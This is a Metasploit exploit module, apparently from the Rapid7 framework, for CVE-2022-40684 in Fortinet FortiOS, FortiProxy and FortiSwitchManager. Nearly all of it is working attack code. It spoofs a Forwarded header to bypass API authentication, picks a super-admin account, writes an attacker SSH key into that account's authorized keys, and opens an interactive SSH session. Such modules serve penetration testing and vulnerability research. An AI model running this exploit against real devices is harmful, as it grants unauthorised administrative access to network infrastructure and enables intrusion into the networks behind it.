##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::Remote::SSH
  prepend Msf::Exploit::Remote::AutoCheck

  attr_accessor :ssh_socket

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Fortinet FortiOS, FortiProxy, and FortiSwitchManager authentication bypass.',
        'Description' => %q{
          This module exploits an authentication bypass vulnerability
          in the Fortinet FortiOS, FortiProxy, and FortiSwitchManager API
          to gain access to a chosen account. And then add a SSH key to the
          authorized_keys file of the chosen account, allowing
          to login to the system with the chosen account.

          Successful exploitation results in remote code execution.
        },
        'Author' => [
          'Heyder Andrade <@HeyderAndrade>', # Metasploit module
          'Zach Hanley <@hacks_zach>', # PoC
        ],
        'References' => [
          ['CVE', '2022-40684'],
          ['URL', 'https://www.fortiguard.com/psirt/FG-IR-22-377'],
          ['URL', 'https://www.horizon3.ai/fortios-fortiproxy-and-fortiswitchmanager-authentication-bypass-technical-deep-dive-cve-2022-40684'],
        ],
        'License' => MSF_LICENSE,
        'DisclosureDate' => '2022-10-10', # Vendor advisory
        'Platform' => ['unix', 'linux'],
        'Arch' => [ARCH_CMD],
        'Privileged' => true,
        'Targets' => [
          [
            'FortiOS',
            {
              'DefaultOptions' => {
                'PAYLOAD' => 'generic/ssh/interact'
              },
              'Payload' => {
                'Compat' => {
                  'PayloadType' => 'ssh_interact'
                }
              }
            }
          ]
        ],
        'DefaultTarget' => 0,
        'DefaultOptions' => {
          'RPORT' => 443,
          'SSL' => true
        },
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [
            IOC_IN_LOGS,
            ARTIFACTS_ON_DISK # SSH key is added to authorized_keys file
          ]
        }
      )
    )

    register_options(
      [
        OptString.new('TARGETURI', [true, 'The base path to the Fortinet CMDB API', '/api/v2/cmdb/']),
        OptString.new('USERNAME', [false, 'Target username (Default: auto-detect)', nil]),
        OptString.new('PRIVATE_KEY', [false, 'SSH private key file path', nil]),
        OptString.new('KEY_PASS', [false, 'SSH private key password', nil]),
        OptString.new('SSH_RPORT', [true, 'SSH port to connect to', 22]),
        OptBool.new('PREFER_ADMIN', [false, 'Prefer to use the admin user if one is detected', true])
      ]
    )
  end

  def username
    if datastore['USERNAME']
      @username ||= datastore['USERNAME']
    else
      @username ||= detect_username
    end
  end

  def ssh_rport
    datastore['SSH_RPORT']
  end

  def current_keys
    @current_keys ||= read_keys
  end

  def ssh_keygen
    # ssh-keygen -t rsa -m PEM -f `openssl rand -hex 8`
    if datastore['PRIVATE_KEY']
      @ssh_keygen ||= Net::SSH::KeyFactory.load_data_private_key(
        File.read(datastore['PRIVATE_KEY']),
        datastore['KEY_PASS'],
        datastore['PRIVATE_KEY']
      )
    else
      @ssh_keygen ||= OpenSSL::PKey::EC.generate('prime256v1')
    end
  end

  def ssh_private_key
    ssh_keygen.to_pem
  end

  def ssh_pubkey
    Rex::Text.encode_base64(ssh_keygen.public_key.to_blob)
  end

  def authorized_keys
    pubkey = Rex::Text.encode_base64(ssh_keygen.public_key.to_blob)
    "#{ssh_keygen.ssh_type} #{pubkey} #{username}@localhost"
  end

  def fortinet_request(params = {})
    send_request_cgi(
      {
        'ctype' => 'application/json',
        'agent' => 'Report Runner',
        'headers' => {
          'Forwarded' => "for=\"[127.0.0.1]:#{rand(1024..65535)}\";by=\"[127.0.0.1]:#{rand(1024..65535)}\""
        }
      }.merge(params)
    )
  end

  def check
    vprint_status("Checking #{datastore['RHOST']}:#{datastore['RPORT']}")
    # a normal request to the API should return a 401
    res = send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, Rex::Text.rand_text_alpha_lower(6)),
      'ctype' => 'application/json'
    })

    return CheckCode::Unknown('Target did not respond to check.') unless res
    return CheckCode::Safe('Target seems not affected by this vulnerability.') unless res.code == 401

    # Trying to bypasss the authentication and get the sshkey from the current targeted user it should return a 200 if vulnerable
    res = fortinet_request({
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, '/system/status')
    })

    return CheckCode::Safe('The target is not vulnerable') unless res&.code == 200

    version = res.get_json_document['version']

    print_good("Target is running the version #{version}, which is vulnerable.")

    Socket.tcp(rhost, ssh_rport, connect_timeout: datastore['SSH_TIMEOUT']) { |sock| return CheckCode::Safe('However SSH is not open, so adding a ssh key wouldn\t give you access to the host.') unless sock }

    CheckCode::Vulnerable('And SSH is running which makes it exploitable.')
  end

  def cleanup
    return unless ssh_socket

    # it assumes our key is the last one and set it to a random text. The API didn't respond to DELETE method
    data = {
      "ssh-public-key#{current_keys.empty? ? '1' : current_keys.size}" => '""'
    }

    fortinet_request({
      'method' => 'PUT',
      'uri' => normalize_uri(target_uri.path, '/system/admin/', username),
      'data' => data.to_json
    })
  end

  def detect_username
    vprint_status('User auto-detection...')
    res = fortinet_request(
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, '/system/admin')
    )
    users = res.get_json_document['results'].collect { |e| e['name'] if e['accprofile'] == 'super_admin' && e['trusthost1'] == '0.0.0.0 0.0.0.0' }.compact
    # we prefer to use admin, but if it doesn't exist we chose a random one.
    if datastore['PREFER_ADMIN']
      vprint_status("PREFER_ADMIN is #{datastore['PREFER_ADMIN']}, but if it isn't found we will pick a random one.")
      users.include?('admin') ? 'admin' : users.sample
    else
      vprint_status("PREFER_ADMIN is #{datastore['PREFER_ADMIN']}, we will get a random that is not the admin.")
      (users - ['admin']).sample
    end
  end

  def add_ssh_key
    if current_keys.include?(authorized_keys)
      # then we'll remove that on cleanup
      print_good('Your key is already in the authorized_keys file')
      return
    end
    vprint_status('Adding SSH key to authorized_keys file')
    # Adding the SSH key as the last entry in the authorized_keys file
    keystoadd = current_keys.first(2) + [authorized_keys]
    data = keystoadd.map.with_index { |key, idx| ["ssh-public-key#{idx + 1}", "\"#{key}\""] }.to_h

    res = fortinet_request({
      'method' => 'PUT',
      'uri' => normalize_uri(target_uri.path, '/system/admin/', username),
      'data' => data.to_json
    })
    fail_with(Failure::UnexpectedReply, 'Failed to add SSH key to authorized_keys file.') unless res&.code == 500
    body = res.get_json_document
    fail_with(Failure::UnexpectedReply, 'Unexpected reponse from the server after adding the key.') unless body.key?('cli_error') && body['cli_error'] =~ /SSH key is good/
  end

  def read_keys
    vprint_status('Reading SSH key from authorized_keys file')
    res = fortinet_request({
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, '/system/admin/', username)
    })
    fail_with(Failure::UnexpectedReply, 'Failed read current SSH keys') unless res&.code == 200
    result = res.get_json_document['results'].first
    ['ssh-public-key1', 'ssh-public-key2', 'ssh-public-key3'].map do |key|
      result[key].gsub('"', '') unless result[key].empty?
    end.compact
  end

  def do_login(ssh_options)
    # ensure we don't have a stale socket hanging around
    ssh_options[:proxy].proxies = nil if ssh_options[:proxy]
    begin
      ::Timeout.timeout(datastore['SSH_TIMEOUT']) do
        self.ssh_socket = Net::SSH.start(rhost, username, ssh_options)
      end
    rescue Rex::ConnectionError
      fail_with(Failure::Unreachable, 'Disconnected during negotiation')
    rescue Net::SSH::Disconnect, ::EOFError
      fail_with(Failure::Disconnected, 'Timed out during negotiation')
    rescue Net::SSH::AuthenticationFailed
      fail_with(Failure::NoAccess, 'Failed authentication')
    rescue Net::SSH::Exception => e
      fail_with(Failure::Unknown, "SSH Error: #{e.class} : #{e.message}")
    end

    fail_with(Failure::Unknown, 'Failed to start SSH socket') unless ssh_socket
  end

  def exploit
    print_status("Executing exploit on #{datastore['RHOST']}:#{datastore['RPORT']} target user: #{username}")
    add_ssh_key
    vprint_status('Establishing SSH connection')
    ssh_options = ssh_client_defaults.merge({
      auth_methods: ['publickey'],
      key_data: [ ssh_private_key ],
      port: ssh_rport
    })
    ssh_options.merge!(verbose: :debug) if datastore['SSH_DEBUG']

    do_login(ssh_options)

    handler(ssh_socket)
  end
end
